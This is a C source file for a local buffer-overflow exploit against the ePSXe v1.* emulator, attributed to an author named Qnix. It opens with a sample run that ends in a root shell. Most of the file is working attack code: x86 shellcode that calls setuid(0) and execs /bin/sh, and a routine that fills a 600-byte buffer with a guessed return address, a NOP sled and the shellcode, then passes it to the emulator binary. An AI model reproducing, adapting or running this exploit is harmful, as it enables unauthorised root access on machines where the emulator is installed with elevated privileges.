/* epsxe-e.c
           ePSXe v1.* local exploit
By: Qnix
e-mail: q-nix[at]hotmail[dot]com
ePSXe-website: www.epsxe.com

EXP-Sample:

root@Qnix:~/epsxe# gcc -o epsxe-e epsxe-e.c
root@Qnix:~/epsxe# ./epsxe-e

*************************************
      ePSXe v1.* local exploit
                 by
   Qnix  | Q-nix[at]hotmail[dot]com
*************************************

[~] Stack pointer (ESP) : 0xbffff568
[~] Offset from ESP     : 0x0
[~] Desired Return Addr : 0xbffff568

* Running ePSXe emulator version 1.6.0.
* Memory handlers init.
sh-2.05b# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)




*/


#include <stdlib.h>

char shellcode[] =
"\\x31\\xc0\\xb0\\x46\\x31\\xdb\\x31\\xc9\\xcd\\x80\\xeb\\x16\\x5b\\x31\\xc0"
"\\x88\\x43\\x07\\x89\\x5b\\x08\\x89\\x43\\x0c\\xb0\\x0b\\x8d\\x4b\\x08\\x8d"
"\\x53\\x0c\\xcd\\x80\\xe8\\xe5\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73"
"\\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
   int i, offset;
   long esp, ret, *addr_ptr;
   char *buffer, *ptr;

   offset = 0;
   esp = sp();
   ret = esp - offset;

printf("\\n ************************************* \\n");
printf("      ePSXe v1.* local exploit          \\n");
printf("                 by                  \\n");
printf("   Qnix  | Q-nix[at]hotmail[dot]com   ");
printf("\\n ************************************* \\n\\n");
printf("[~] Stack pointer (ESP) : 0x%x\\n", esp);
printf("[~] Offset from ESP     : 0x%x\\n", offset);
printf("[~] Desired Return Addr : 0x%x\\n\\n", ret);

buffer = malloc(600);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

for(i=0; i < 200; i++)
{ buffer[i] = '\\x90'; }

ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

buffer[600-1] = 0;

execl("./epsxe", "epsxe", "-nogui", buffer, 0);

free(buffer);

   return 0;
}